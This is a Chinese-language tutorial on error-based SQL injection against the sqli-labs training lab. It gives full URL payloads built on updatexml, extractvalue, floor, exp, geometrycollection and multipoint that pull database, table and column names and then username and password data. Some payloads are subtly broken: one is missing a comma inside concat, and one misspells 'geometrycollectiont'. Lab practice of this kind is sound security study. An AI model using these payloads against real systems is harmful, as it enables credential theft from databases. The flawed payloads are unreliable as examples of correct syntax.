目录
updatexml()函数
extractvalue()函数
floor()函数
exp()函数
geometrycollection()函数
multipoint()函数
构造参数?id=1" and 1=1--+ 回显为You are in......
将参数改变一下,回显不同,说明此处存在sql注入漏洞
我们先来测试一下 , updatexml()函数是否能正常报错
以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。
开始获取数据库名(limit 0,1 中的0 即从第几个开始)
开始获取表名
?id=1" and updatexml(1,concat('~'(select table_name from information_schema.tables where table_schema='security' limit 0,1)),3)--+
OK,想必你对updatexml()函数已经有了一定的了解,不妨动手试试替换语句获取字段名
你成功了吗
接下来获取字段中的数据,在这里需要分别获取username和password的值
到这里对于updatexml()函数的学习基本完成。
接下来简单了解一下extractvalue()函数的使用
测试一下extractvalue()函数能否正常使用 ('anything'可以随意替换,'~'不能改变)
依次查询所有数据库名
?id=1" and extractvalue('anything',concat('~',(select schema_name from information_schema.schemata limit 4,1)))--+
这样做可以直接获取当前的数据库名,换成version()即获取当前数据库版本
接下来获取表名,慢慢来,不着急
接下来获取字段名
username和password中的数据分别获取
接下来使用floor()函数学习基于报错的注入(这里简单介绍一下,详细介绍还请自行搜索)
这里提供一个链接,个人觉得很有帮助。
要保证floor报错注入,那么必须保证查询的表必须大于三条数据,并且8.x>当前mysql版本>5.0
?id=1" and (select 1 from (select count(*),concat(0x23,(database()),0x23,floor(rand(0)*2)) as x from information_schema.`columns` group by x) as y)--+
使用floor()函数获取当前数据库名 接下来将database()替换为查询语句即可
你不妨尝试自己构造一下
?id=1" and (select 1 from (select count(*),concat(0x23,(select schema_name from information_schema.schemata limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.`columns` group BY x) as y)--+
你构造正确了吗。 改变limit 0,1参数依次获取所有数据库名
获取表名
获取字段名
获取username字段内的数据
获取password字段内的数据
到这里针对sqli-labs靶场基于报错的floor()函数使用告一段落,你可能还有很多不理解的东西,比如为什么要这么构造,这就全看你自己了,去仔细学习这个函数,去找其他的靶场练习这个函数,全部取决于你,你人生的高度,也取决于你。
接下来学习exp()函数
使用exp()函数获取当前数据库名 在database()处替换为查询语句即可进行注入
依次查询所有数据库名
获取字段名
获取username字段内的数据
获取password字段内的数据
接下来学习geometrycollection()函数的简单使用
?id=0" and geometrycollectiont((select * from(select * from(select database())a)b));--+
获取 当前数据库名 在database()处替换为查询语句即可
依次查询所有数据库名
获取username字段内的数据 获取password字段内的数据
接下来学习multipoint()函数的简单使用
?id=0" and multipoint((select * from(select * from(select database())a)b));--+
类似于geometrycollection()函数,获取当前数据库名 替换database()继续注入
获取password字段内的数据
针对sqli-labs靶场基于报错的函数学习到此为止,当然还有很多其他基于报错的函数,另外以上六种函数的其他使用方法也有很多,在这里附上链接
海到无边天作岸,山登绝顶我为峰
祝君学有所成